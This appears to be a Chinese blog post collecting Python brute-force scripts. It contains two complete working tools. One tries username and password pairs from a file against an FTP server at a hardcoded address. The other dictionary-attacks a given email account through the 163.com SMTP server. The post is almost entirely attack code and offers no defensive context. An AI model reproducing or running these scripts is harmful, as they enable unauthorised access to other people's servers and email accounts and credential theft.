Python暴力破解的收集

1.  破解ftp:

import ftplib
def bruteLogin(hostname,passwdFile):
	pF=open(passwdFile,'r')
	for line in pF.readlines():
		userName=line.split(':')[0]
		passWord=line.split(':')[1].strip('\r').strip('\n')
		print "[+] Trying: "+userName+"/"+passWord
		try:
			ftp=ftplib.FTP(hostname)
			ftp.login(userName,passWord)
			print '\n[*] '+str(hostname)+\
			' FTP Logon Succeeded: '+userName+"/"+passWord
			ftp.quit()
			return (userName,passWord)
		except Exception,e:
			pass
	print '\n[-] Could not brute force FTP credentials.'
	return (None,None)
host='192.168.182.135'
passwdFile='userpass.txt'
bruteLogin(host,passwdFile)

2. 破解邮箱的:

#!/usr/bin/env python
#coding:utf-8

from smtplib import SMTP as smtp
import optparse
import time
def scanemail(uname,upass):
        s=smtp("smtp.163.com")
        try:
                s.ehlo()  #发送ehlo命令,
                s.starttls() #初始化加密通道
                s.ehlo()  #再次发送ehlo,这次是加密的
                s.login(uname,upass)
        except Exception,LoginError:
                print "[-]:%s : %s" %(uname,upass)
        else:
                out="[+]:%s : %s" %(uname,upass)  #如果成功了,就返回真值
                print out
                return True
        return False

def main():
        parser=optparse.OptionParser("usage: ./prog.py"+"-u <username> -d <passwordfile>")
        parser.add_option('-u',dest='uname',type='string',help='specify email name')
        parser.add_option('-d',dest='passwdfile',type='string',help='specify dictionary file')
        (options,args)=parser.parse_args()
        if (options.uname==None) | (options.passwdfile==None):
                print parser.usage
                exit(0)
        else:
                uname=options.uname
                passwdfile=options.passwdfile
        passFile=open(passwdfile)
        for line in passFile.readlines():
                password=line.strip('\n')
                if scanemail(uname,password):
                        break

if __name__=='__main__':
        main()



  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值